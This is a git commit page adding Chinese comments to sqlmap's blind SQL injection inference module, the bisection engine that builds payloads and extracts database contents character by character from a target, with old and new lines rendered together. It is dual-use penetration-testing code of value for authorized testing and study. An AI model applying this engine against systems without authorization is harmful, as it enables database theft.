add comments to blind/inference.py

pull/3/head
wang 3 months ago
parent 4881e3c4e1
commit 472afaafa8

@ -5,92 +5,113 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import re
import time
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToStdout
from lib.core.common import decodeDbmsHexValue
from lib.core.common import decodeIntToUnicode
from lib.core.common import filterControlChars
from lib.core.common import getCharset
from lib.core.common import getCounter
from lib.core.common import getPartRun
from lib.core.common import getTechnique
from lib.core.common import getTechniqueData
from lib.core.common import goGoodSamaritan
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import incrementCounter
from lib.core.common import isDigit
from lib.core.common import isListLike
from lib.core.common import safeStringFormat
from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import ADJUST_TIME_DELAY
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapThreadException
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.settings import CHAR_INFERENCE_MARK
from lib.core.settings import INFERENCE_BLANK_BREAK
from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import INFERENCE_GREATER_CHAR
from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import MAX_BISECTION_LENGTH
from lib.core.settings import MAX_REVALIDATION_STEPS
from lib.core.settings import NULL
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import RANDOM_INTEGER_MARKER
from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.progress import ProgressBar
from lib.utils.safe2bin import safecharencode
from lib.utils.xrange import xrange
from thirdparty import six
# 导入必要的模块
from __future__ import division # 使用真除法,避免整数除法的问题
import re # 正则表达式模块
import time # 时间相关操作
# 导入sqlmap自定义模块
from lib.core.agent import agent # SQL语句构造和处理
from lib.core.common import Backend # 数据库后端相关
from lib.core.common import calculateDeltaSeconds # 计算时间差
from lib.core.common import dataToStdout # 输出到标准输出
from lib.core.common import decodeDbmsHexValue # 解码数据库十六进制值
from lib.core.common import decodeIntToUnicode # 整数转Unicode字符
from lib.core.common import filterControlChars # 过滤控制字符
from lib.core.common import getCharset # 获取字符集
from lib.core.common import getCounter # 获取计数器
from lib.core.common import getPartRun # 获取部分运行信息
from lib.core.common import getTechnique # 获取注入技术
from lib.core.common import getTechniqueData # 获取注入技术数据
from lib.core.common import goGoodSamaritan # 智能预测功能
from lib.core.common import hashDBRetrieve # 从哈希数据库读取
from lib.core.common import hashDBWrite # 写入哈希数据库
from lib.core.common import incrementCounter # 增加计数器
from lib.core.common import isDigit # 判断是否为数字
from lib.core.common import isListLike # 判断是否为列表类型
from lib.core.common import safeStringFormat # 安全的字符串格式化
from lib.core.common import singleTimeWarnMessage # 单次警告消息
from lib.core.data import conf # 配置信息
from lib.core.data import kb # 知识库
from lib.core.data import logger # 日志记录
from lib.core.data import queries # SQL查询语句
from lib.core.enums import ADJUST_TIME_DELAY # 时间延迟调整枚举
from lib.core.enums import CHARSET_TYPE # 字符集类型枚举
from lib.core.enums import DBMS # 数据库类型枚举
from lib.core.enums import PAYLOAD # Payload类型枚举
from lib.core.exception import SqlmapThreadException # 线程异常
from lib.core.exception import SqlmapUnsupportedFeatureException # 不支持特性异常
from lib.core.settings import CHAR_INFERENCE_MARK # 字符推断标记
from lib.core.settings import INFERENCE_BLANK_BREAK # 空白中断标记
from lib.core.settings import INFERENCE_EQUALS_CHAR # 等于字符标记
from lib.core.settings import INFERENCE_GREATER_CHAR # 大于字符标记
from lib.core.settings import INFERENCE_MARKER # 推断标记
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR # 不等于字符标记
from lib.core.settings import INFERENCE_UNKNOWN_CHAR # 未知字符标记
from lib.core.settings import MAX_BISECTION_LENGTH # 最大二分长度
from lib.core.settings import MAX_REVALIDATION_STEPS # 最大重新验证步骤
from lib.core.settings import NULL # 空值
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER # 部分十六进制值标记
from lib.core.settings import PARTIAL_VALUE_MARKER # 部分值标记
from lib.core.settings import PAYLOAD_DELIMITER # Payload分隔符
from lib.core.settings import RANDOM_INTEGER_MARKER # 随机整数标记
from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD # 有效时间字符运行阈值
from lib.core.threads import getCurrentThreadData # 获取当前线程数据
from lib.core.threads import runThreads # 运行线程
from lib.core.unescaper import unescaper # 反转义处理
from lib.request.connect import Connect as Request # HTTP请求处理
from lib.utils.progress import ProgressBar # 进度条
from lib.utils.safe2bin import safecharencode # 安全字符编码
from lib.utils.xrange import xrange # 兼容Python2/3的range
from thirdparty import six # Python 2/3兼容库
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
二分法算法,用于执行盲注SQL注入
参数说明:
payload - SQL注入的payload模板
expression - 需要注入的SQL表达式
length - 查询结果的长度限制
charsetType - 字符集类型
firstChar - 起始字符位置
lastChar - 结束字符位置
dump - 是否导出数据
"""
abortedFlag = False
showEta = False
partialValue = u""
finalValue = None
retrievedLength = 0
# 初始化变量
abortedFlag = False # 中止标志
showEta = False # 是否显示进度条
partialValue = u"" # 部分结果值
finalValue = None # 最终结果值
retrievedLength = 0 # 已获取的长度
# 检查payload是否为空
if payload is None:
return 0, None
# 根据字符集类型获取ASCII表
if charsetType is None and conf.charset:
asciiTbl = sorted(set(ord(_) for _ in conf.charset))
else:
asciiTbl = getCharset(charsetType)
# 获取当前线程数据
threadData = getCurrentThreadData()
# 判断是否为基于时间的注入
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
# 从缓存中获取已有结果
retVal = hashDBRetrieve(expression, checkConf=True)
# 如果有缓存结果
if retVal:
# 如果需要修复且结果中包含未知字符
if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
pass
# 如果结果中包含部分十六进制值标记
elif PARTIAL_HEX_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
@ -98,6 +119,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg)
# 如果结果中包含部分值标记
elif PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
@ -105,13 +127,15 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg)
# 其他情况直接使用缓存结果
else:
infoMsg = "resumed: %s" % safecharencode(retVal)
logger.info(infoMsg)
return 0, retVal
if Backend.isDbms(DBMS.MCKOI):
# 针对不同数据库的特殊处理
if Backend.isDbms(DBMS.MCKOI): # McKoi数据库
match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I)
if match:
original = queries[Backend.getIdentifiedDbms()].inference.query
@ -119,7 +143,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))
expression = match.group(1).strip()
elif Backend.isDbms(DBMS.FRONTBASE):
elif Backend.isDbms(DBMS.FRONTBASE): # FrontBase数据库
match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)
if match:
payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
@ -127,17 +151,18 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
expression = match.group(2).strip()
try:
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
if conf.predictOutput:
# 设置kb.partRun用于"common prediction"特性或API调用
if conf.predictOutput: # 如果启用了预测输出
kb.partRun = getPartRun()
elif conf.api:
elif conf.api: # 如果是API调用
kb.partRun = getPartRun(alias=False)
else:
kb.partRun = None
if partialValue:
# 设置起始字符位置
if partialValue: # 如果有部分值,从部分值长度开始
firstChar = len(partialValue)
elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): # 如果是长度查询,从0开始
firstChar = 0
elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
@ -148,7 +173,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else:
firstChar = 0
if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
# 设置结束字符位置
if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): # 如果是长度查询,结束位置为0
lastChar = 0
elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
@ -157,6 +183,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else:
lastChar = 0
# 处理数据库相关的字段转换
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
@ -165,6 +192,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else:
expressionUnescaped = unescaper.escape(expression)
# 处理长度参数
if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int):
length = int(length)
else:
@ -179,9 +207,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if length and length > MAX_BISECTION_LENGTH:
length = None
# 是否显示进度条
showEta = conf.eta and isinstance(length, int)
if kb.bruteMode:
# 设置线程数
if kb.bruteMode: # 暴力模式只用1个线程
numThreads = 1
else:
numThreads = min(conf.threads or 0, length or 0) or 1
@ -189,6 +219,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if showEta:
progress = ProgressBar(maxValue=length)
# 多线程处理
if numThreads > 1:
if not timeBasedCompare or kb.forceThreads:
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
@ -196,11 +227,13 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else:
numThreads = 1
# 单线程模式提示
if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):
warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of option '--threads' for faster data retrieval"
singleTimeWarnMessage(warnMsg)
# 显示进度信息
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
if isinstance(length, int) and numThreads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
@ -209,6 +242,12 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
def tryHint(idx):
"""
尝试使用提示值进行查询
参数:
idx - 当前字符位置
"""
with kb.locks.hint:
hintValue = kb.hintValue
@ -235,15 +274,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
def validateChar(idx, value):
"""
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
验证字符值是否正确
参数:
idx - 字符位置
value - 字符值
"""
validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
@ -262,10 +303,16 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
获取指定位置的字符
参数:
idx - 字符位置
charTbl - 字符表
continuousOrder - 是否连续顺序
expand - 是否扩展字符集
shiftTable - 位移表
retried - 重试次数
"""
result = tryHint(idx)
if result:
@ -279,7 +326,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if kb.disableShiftTable:
shiftTable = None
elif continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [2, 2, 3, 3, 3]
if "'%s'" % CHAR_INFERENCE_MARK in payload:
@ -332,7 +378,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
if charTbl[(len(charTbl) >> 1)] < ord(' '):
try:
# favorize last char check if current value inclines toward 0
position = charTbl.index(1)
except ValueError:
pass
@ -349,7 +394,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
@ -383,7 +427,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if not isinstance(charTbl, xrange):
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
@ -397,13 +440,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
originalTbl = xrange(charTbl)
@ -492,14 +529,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if result:
return decodeIntToUnicode(candidates[0])
# Go multi-threading (--threads > 1)
# 多线程处理(--threads > 1)
if numThreads > 1 and isinstance(length, int) and length > 1:
threadData.shared.value = [None] * length
threadData.shared.index = [firstChar] # As list for python nested function scoping
threadData.shared.index = [firstChar] # 作为列表用于python嵌套函数作用域
threadData.shared.start = firstChar
try:
def blindThread():
"""
盲注线程函数
"""
threadData = getCurrentThreadData()
while kb.threadContinue:
@ -517,7 +557,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else:
break
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629
# 注意: https://github.com/sqlmapproject/sqlmap/issues/4629
if not isListLike(threadData.shared.value):
break
@ -574,8 +614,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
infoMsg = None
# If we have got one single character not correctly fetched it
# can mean that the connection to the target URL was lost
# 如果有一个字符没有正确获取,可能意味着与目标URL的连接丢失
if None in value:
partialValue = "".join(value[:value.index(None)])
@ -588,7 +627,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)):
dataToStdout(infoMsg)
# No multi-threading (--threads = 1)
# 单线程处理(--threads = 1)
else:
index = firstChar
threadData.shared.value = ""
@ -596,17 +635,15 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
while True:
index += 1
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
# 常见预测功能(又名"good samaritan")
# 注意:目前仅在未设置多线程时使用
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
# 如果common-outputs中有一个单一输出,通过等于查询输出进行检查
if commonValue is not None:
# One-shot query containing equals commonValue
# 一次性查询包含等于commonValue
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
query = getTechniqueData().vector
@ -616,7 +653,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
# Did we have luck?
# 是否成功?
if result:
if showEta:
progress.progress(len(commonValue))

Loading…
Cancel
Save